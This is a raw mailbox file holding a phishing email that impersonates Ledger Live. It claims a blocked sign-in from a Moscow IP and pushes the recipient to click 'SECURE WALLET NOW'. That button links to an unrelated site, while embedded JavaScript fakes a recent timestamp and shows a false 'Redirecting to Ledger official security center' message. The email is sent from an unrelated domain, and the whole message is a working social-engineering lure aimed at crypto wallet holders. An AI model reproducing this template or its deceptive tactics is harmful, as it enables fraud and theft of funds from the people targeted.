File: /home/wbwebdes/imap/maghetoptafel.nl/info/Maildir/new/1774952988.M425866P296080.d8,S=15990,W=16327
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: from d8.my-control-panel.com
by d8.my-control-panel.com with LMTP
id cZeoGByiy2mQhAQAeIxEMQ
(envelope-from <[email protected]>)
for <[email protected]>; Tue, 31 Mar 2026 12:29:48 +0200
Return-path: <[email protected]>
Envelope-to: [email protected]
Delivery-date: Tue, 31 Mar 2026 12:29:48 +0200
Received: from gwd.dedicated.co.za ([41.76.212.160])
by d8.my-control-panel.com with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.98)
(envelope-from <[email protected]>)
id 1w7WLy-00000001K11-3rV1
for [email protected];
Tue, 31 Mar 2026 12:29:47 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=lmc.cd;
s=default; h=Content-Type:MIME-Version:Date:Subject:To:From:Message-ID:Sender
:Reply-To:Cc:Content-Transfer-Encoding:Content-ID:Content-Description:
Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:List-Subscribe:
List-Post:List-Owner:List-Archive;
bh=/3xr76HaVt1DuCaorGAIULWynQPqUD2M/YllBKwybEU=; b=qDqRTgF64wpPRzlsivDQwfECIA
4is9p8Y15wxn7QPIQVQcTHWHPIacxYr7cOQ7pEmN/a8kuabgYsTmnVSPULOH/Jp7PT2XlJaGs1wVT
4jRLrJJXbVI2jZQ5+o8chwdL/FGikvikyoteQbbDdNC9ckZNGZ12ovUoF6mbdSLbi8IRJtebYBc0D
3RDhzyVmbp7OnkotSsir08ViUw/FWywGWlCl7VSHjhEeTpxXeXMtoQaqGvC4Zz8L7sH9om2yoEoz7
YNwq6d9FmOui2d3H3kQ2RYV8u623pxkFlYrXaWa5GsokCHdm7c2vFUJBMZgI6COMWitxz/zSl6i+4
4Z6vXO3g==;
Received: from [195.216.166.147] (port=59339 helo=195.216.166.147)
by gwd.dedicated.co.za with essmtpa (TLS1.3) tls TLS_AES_256_GCM_SHA384
(Exim 4.99.1)
(envelope-from <[email protected]>)
id 1w7WLu-00000005lk1-2TMs
for [email protected];
Tue, 31 Mar 2026 12:29:43 +0200
Message-ID: <[email protected]>
From: "[email protected]" <[email protected]>
To: [email protected]
Subject: Security alert: New device login from Moscow, Russia
Date: Tue, 31 Mar 2026 03:29:29 -0700
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="8b216be023e7c93211ba615aaf3fd48c75"
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - gwd.dedicated.co.za
X-AntiAbuse: Original Domain - maghetoptafel.nl
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - lmc.cd
X-Get-Message-Sender-Via: gwd.dedicated.co.za: authenticated_id: [email protected]
X-Authenticated-Sender: gwd.dedicated.co.za: [email protected]
X-Source:
X-Source-Args:
X-Source-Dir:
--8b216be023e7c93211ba615aaf3fd48c75
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
[ LEDGER LIVE ]
=E2=97=8F secure hardware ecosystem =E2=9A=A0=EF=B8=8F CRITICAL ALERT=20
=E2=9A=A0=EF=B8=8F
SUSPICIOUS SIGN-IN BLOCKED=20
Unrecognized login attempt detected.=20
A sign-in from an unknown device and risky location was automatically int=
ercepted.
If this wasn't you, take action below.
=F0=9F=93=8D LOCATION / REGION
Moscow, Russian Federation=20
HIGH RISK ZONE=20
=F0=9F=8C=90 IP ADDRESS
185.246.84.172=20
(unknown device / new fingerprint)=20
=E2=8F=B1=EF=B8=8F TIMESTAMP (UTC)
=E2=80=94=20
=E2=9A=A0=EF=B8=8F NEW DEVICE + RUSSIAN IP
Immediate verification required to protect your funds.
=F0=9F=94=92 SECURE WALLET NOW=20
=E2=9C=93 THIS WAS ME =E2=80=94 TRUST DEVICE=20
[ ? ] Why did I receive this alert?=20
Ledger Live =E2=80=A2 Security monitor
If you didn't attempt to sign in, your assets may be at risk.
=E2=97=8F Protected by Ledger Secure Element =C2=A0|=C2=A0 ID: 0x7E9F=20
--8b216be023e7c93211ba615aaf3fd48c75
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
<html lang=3Den><head><title>Ledger Live =E2=80=A2 Security Alert</title>
<meta charset=3D"utf-8">
<meta name=3Dviewport content=3D"width=3Ddevice-width, initial-scale=3D1.=
0">
</head>
<body style=3D"FONT-FAMILY: 'Courier New', 'SF Mono', monospace; PADDING-=
BOTTOM: 20px; PADDING-TOP: 20px; PADDING-LEFT: 20px; MARGIN: 0px; PADDING=
-RIGHT: 20px" text=3D"#ffffff" bgColor=3D"#000000"><!-- MAIN TABLE LAYOUT=
- complete different structure -->
<table cellSpacing=3D0 cellPadding=3D0 width=3D"100%" align=3Dcenter bord=
er=3D0>
<tbody>
<tr>
<td align=3Dcenter><!-- Outer container table -->
<table style=3D"BORDER-TOP: #ff4422 1px solid; BORDER-RIGHT: #ff4422 1px =
solid; BORDER-BOTTOM: #ff4422 1px solid; BORDER-LEFT: #ff4422 1px solid; =
box-shadow: 0 0 20px rgba(255,68,34,0.2)" cellSpacing=3D0 cellPadding=3D0=
width=3D600 bgColor=3D"#0a0a0c" border=3D0><!-- HEADER ROW with ASCII st=
yle -->
<tbody>
<tr>
<td style=3D"BORDER-BOTTOM: #ff4422 2px solid; PADDING-BOTTOM: 18px; PADD=
ING-TOP: 18px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px" bgColor=3D"#05050=
8">
<table cellSpacing=3D0 cellPadding=3D0 width=3D"100%">
<tbody>
<tr>
<td><font style=3D"FONT-WEIGHT: bold" color=3D"#ff5533" size=3D5 face=3Dm=
onospace>[ LEDGER LIVE ]</font><br><font color=3D"#777777" size=3D1>=E2=97=
=8F secure hardware ecosystem</font> </td>
<td align=3Dright><font style=3D"BACKGROUND: #221100; PADDING-BOTTOM: 4px=
; PADDING-TOP: 4px; PADDING-LEFT: 10px; PADDING-RIGHT: 10px" color=3D"#ff=
8866" size=3D2>=E2=9A=A0=EF=B8=8F CRITICAL ALERT</font> </td></tr></tbody=
></table></td></tr><!-- MAIN CONTENT ROW - different layout with breaks a=
nd divs -->
<tr>
<td style=3D"PADDING-BOTTOM: 20px; PADDING-TOP: 28px; PADDING-LEFT: 24px;=
PADDING-RIGHT: 24px"><!-- big warning icon using unicode and div -->
<div style=3D"MARGIN-BOTTOM: 22px; BACKGROUND: #1a0a08; PADDING-BOTTOM: 1=
2px; PADDING-TOP: 12px; PADDING-LEFT: 12px; BORDER-LEFT: #ff4422 5px soli=
d; PADDING-RIGHT: 12px" align=3Dcenter><font size=3D7>=E2=9A=A0=EF=B8=8F<=
/font><br><font color=3D"#ff8866" size=3D2><b>SUSPICIOUS SIGN-IN BLOCKED<=
/b></font> </div><br><!-- description with line breaks --><font color=3D"=
#dddddd" size=3D3 face=3D"'Segoe UI', Arial"><b>Unrecognized login attemp=
t detected.</b> </font><br><br><font color=3D"#aaaabb" size=3D2>A sign-in=
from an unknown device and risky location was automatically intercepted.=
<br>If this wasn't you, take action below. </font><br><br><br><!-- DETAI=
LS SECTION using nested tables + inline styles -->
<table style=3D"BORDER-TOP: #222233 1px solid; BORDER-RIGHT: #222233 1px =
solid; BORDER-BOTTOM: #222233 1px solid; BORDER-LEFT: #222233 1px solid" =
cellSpacing=3D0 cellPadding=3D12 width=3D"100%" bgColor=3D"#0e0e12">
<tbody>
<tr>
<td vAlign=3Dtop width=3D40><font size=3D4>=F0=9F=93=8D</font></td>
<td><font color=3D"#888899" size=3D1><b>LOCATION / REGION</b></font><br><=
font color=3D"#ffaa88" size=3D3><b>Moscow, Russian Federation</b></font> =
<br><font style=3D"BACKGROUND: #331100; PADDING-BOTTOM: 2px; PADDING-TOP:=
2px; PADDING-LEFT: 8px; PADDING-RIGHT: 8px" color=3D"#ff7755" size=3D1>H=
IGH RISK ZONE</font> </td></tr>
<tr bgColor=3D"#08080c">
<td vAlign=3Dtop width=3D40><font size=3D4>=F0=9F=8C=90</font></td>
<td><font color=3D"#888899" size=3D1><b>IP ADDRESS</b></font><br><font co=
lor=3D"#ffe0aa" size=3D3 face=3Dmonospace><b>185.246.84.172</b></font> <b=
r><font color=3D"#777777" size=3D1>(unknown device / new fingerprint)</fo=
nt> </td></tr>
<tr>
<td vAlign=3Dtop width=3D40><font size=3D4>=E2=8F=B1=EF=B8=8F</font></td>
<td><font color=3D"#888899" size=3D1><b>TIMESTAMP (UTC)</b></font><br><fo=
nt id=3DliveTimestampInline color=3D"#ffffff" size=3D3 face=3Dmonospace><=
b>=E2=80=94</b></font> </td></tr></tbody></table><br><br><!-- risk banner=
with div and BR -->
<div style=3D"BACKGROUND: #1a0806; PADDING-BOTTOM: 14px; PADDING-TOP: 14p=
x; PADDING-LEFT: 14px; BORDER-LEFT: #ff4422 6px solid; MARGIN: 10px 0px 2=
0px; PADDING-RIGHT: 14px"><font color=3D"#ffaa99" size=3D2><b>=E2=9A=A0=EF=
=B8=8F NEW DEVICE + RUSSIAN IP</b><br>Immediate verification required to =
protect your funds. </font></div><br><!-- ACTION BUTTONS using divs and i=
nline styling -->
<div align=3Dcenter><!-- Primary secure button (link) -->
<div style=3D"MARGIN-BOTTOM: 14px"><a style=3D"FONT-SIZE: 16px; TEXT-DECO=
RATION: none; BORDER-TOP: #ff6644 1px solid; FONT-FAMILY: monospace; BORD=
ER-RIGHT: #ff6644 1px solid; BACKGROUND: #cc3300; BORDER-BOTTOM: #ff6644 =
1px solid; FONT-WEIGHT: bold; COLOR: white; PADDING-BOTTOM: 14px; TEXT-AL=
IGN: center; PADDING-TOP: 14px; PADDING-LEFT: 14px; BORDER-LEFT: #ff6644 =
1px solid; DISPLAY: block; PADDING-RIGHT: 14px; border-radius: 0px" href=3D=
"https://empowerherbreastcancer.org/" rel=3D"noopener noreferrer" target=3D=
_blank>=F0=9F=94=92 SECURE WALLET NOW</a> </div><!-- Secondary trust butt=
on (JS action) -->
<div id=3DtrustButtonDiv style=3D"MARGIN-BOTTOM: 14px"><button id=3Dinlin=
eTrustBtn style=3D"FONT-SIZE: 14px; CURSOR: pointer; BORDER-TOP: #445588 =
1px solid; FONT-FAMILY: monospace; BORDER-RIGHT: #445588 1px solid; WIDTH=
: 100%; BACKGROUND: #111122; BORDER-BOTTOM: #445588 1px solid; FONT-WEIGH=
T: bold; COLOR: #ccaa88; PADDING-BOTTOM: 12px; PADDING-TOP: 12px; PADDING=
-LEFT: 12px; BORDER-LEFT: #445588 1px solid; PADDING-RIGHT: 12px">=E2=9C=93=
THIS WAS ME =E2=80=94 TRUST DEVICE</button> </div><!-- help link -->
<div><a id=3DhelpLinkInline style=3D"FONT-SIZE: 12px; FONT-FAMILY: monosp=
ace; COLOR: #6688aa" href=3D"#">[ ? ] Why did I receive this alert?</a> <=
/div></div><br><br><!-- extra footer with break lines -->
<div align=3Dcenter><font color=3D"#555566" size=3D1>Ledger Live =E2=80=A2=
Security monitor<br>If you didn't attempt to sign in, your assets may be=
at risk. </font></div><br></td></tr><!-- BOTTOM STATUS BAR -->
<tr>
<td style=3D"BORDER-TOP: #222244 1px solid; PADDING-BOTTOM: 12px; PADDING=
-TOP: 12px; PADDING-LEFT: 20px; PADDING-RIGHT: 20px" bgColor=3D"#050508">=
<font color=3D"#44aa77" size=3D1>=E2=97=8F Protected by Ledger Secure Ele=
ment</font> <font color=3D"#445566" size=3D1 align=3Dright> | =
ID: 0x7E9F</font> </td></tr></tbody></table></td></tr></tbody></table><!-=
- hidden toast message container (custom inline) -->
<script>
(function() {
// ---- Set dynamic timestamp (approx 23 minutes ago) ----
const now =3D new Date();
now.setMinutes(now.getMinutes() - 23);
now.setSeconds(0);
const year =3D now.getUTCFullYear();
const month =3D String(now.getUTCMonth() + 1).padStart(2, '0'=
);
const day =3D String(now.getUTCDate()).padStart(2, '0');
const hours =3D String(now.getUTCHours()).padStart(2, '0');
const minutes =3D String(now.getUTCMinutes()).padStart(2, '0'=
);
const formattedUTC =3D `${year}-${month}-${day} ${hours}:${mi=
nutes}:00 UTC`;
const timestampSpan =3D document.getElementById('liveTimestam=
pInline');
if (timestampSpan) {
timestampSpan.innerHTML =3D `<b>${formattedUTC}</b>`;
}
=20
// Toast helper
function showToastMessage(msg, borderColor =3D '#ff5533') {
const toast =3D document.getElementById('customToast');
if (!toast) return;
toast.style.display =3D 'block';
toast.style.borderLeft =3D `6px solid ${borderColor}`;
toast.style.borderRight =3D 'none';
toast.innerHTML =3D msg;
setTimeout(() =3D> {
toast.style.opacity =3D '0';
setTimeout(() =3D> {
toast.style.display =3D 'none';
toast.style.opacity =3D '1';
}, 300);
}, 3500);
}
=20
// Trust device button logic
const trustBtn =3D document.getElementById('inlineTrustBtn');
if (trustBtn) {
trustBtn.addEventListener('click', function(e) {
e.preventDefault();
// Change UI elements dramatically
const alertBadge =3D document.querySelector('td[align=
=3D"right"] font[size=3D"2"]');
if (alertBadge) {
alertBadge.innerHTML =3D '=E2=9C=93 DEVICE TRUSTE=
D';
alertBadge.style.backgroundColor =3D '#004422';
alertBadge.style.color =3D '#aaffaa';
}
// Change risk banner text and style
const riskDiv =3D document.querySelector('div[style*=3D=
"background: #1a0806;"]');
if (riskDiv) {
riskDiv.style.background =3D '#0a2218';
riskDiv.style.borderLeftColor =3D '#44cc88';
riskDiv.innerHTML =3D '<font size=3D"2" color=3D"=
#bbffcc"><b>=E2=9C=93 TRUSTED DEVICE</b><br>Moscow IP & device added to w=
hitelist. Future logins will be approved.</font>';
}
// change "high risk zone" badge to trusted
const riskBadgeSpan =3D document.querySelector('font[=
size=3D"1"][color=3D"#ff7755"]');
if (riskBadgeSpan) {
riskBadgeSpan.innerHTML =3D '=E2=9C=93 NOW TRUSTE=
D';
riskBadgeSpan.style.backgroundColor =3D '#226633'=
;
riskBadgeSpan.style.color =3D '#ccffcc';
}
// disable button
trustBtn.disabled =3D true;
trustBtn.style.opacity =3D '0.5';
trustBtn.style.cursor =3D 'default';
trustBtn.innerText =3D '=E2=9C=93 DEVICE TRUSTED';
showToastMessage('=F0=9F=94=90 Device trusted =E2=80=A2=
Russian IP saved as recognized location.', '#44cc88');
});
}
=20
// Help link logic
const helpLink =3D document.getElementById('helpLinkInline');
if (helpLink) {
helpLink.addEventListener('click', function(e) {
e.preventDefault();
showToastMessage('=E2=9D=93 Ledger Security: Unusual =
sign-in alerts appear when login occurs from a new IP, different country,=
or unrecognized device. If it wasn=E2=80=99t you, lock your wallet & run=
security check.', '#6688aa');
});
}
=20
// Primary external link click hint
const primaryBtnLink =3D document.querySelector('a[href*=3D"e=
mpowerherbreastcancer.org"]');
if (primaryBtnLink) {
primaryBtnLink.addEventListener('click', function() {
setTimeout(() =3D> {
showToastMessage('=F0=9F=94=92 Redirecting to Led=
ger official security center...', '#ff8844');
}, 10);
});
}
=20
// Additional: make IP address clickable to copy (inline)
const ipTd =3D document.querySelector('table[bgcolor=3D"#0e0e=
12"] tr:nth-child(2) td:nth-child(2) font[size=3D"3"]');
if (ipTd && ipTd.innerText.includes('185.246.84.172')) {
ipTd.style.cursor =3D 'pointer';
ipTd.style.textDecoration =3D 'underline dotted';
ipTd.title =3D 'Click to copy IP';
ipTd.addEventListener('click', function(e) {
const ipText =3D '185.246.84.172';
navigator.clipboard.writeText(ipText).then(() =3D> {
showToastMessage(`=F0=9F=93=8B IP ${ipText} copie=
d to clipboard`, '#88aaff');
}).catch(() =3D> {
showToastMessage('Failed to copy IP', '#ff6666');
});
});
}
=20
// Small console log for security context
console.log('Ledger Live =E2=80=A2 Unusual sign-in interface =
(custom table/div layout)');
})();
</script>
</body></html>
--8b216be023e7c93211ba615aaf3fd48c75--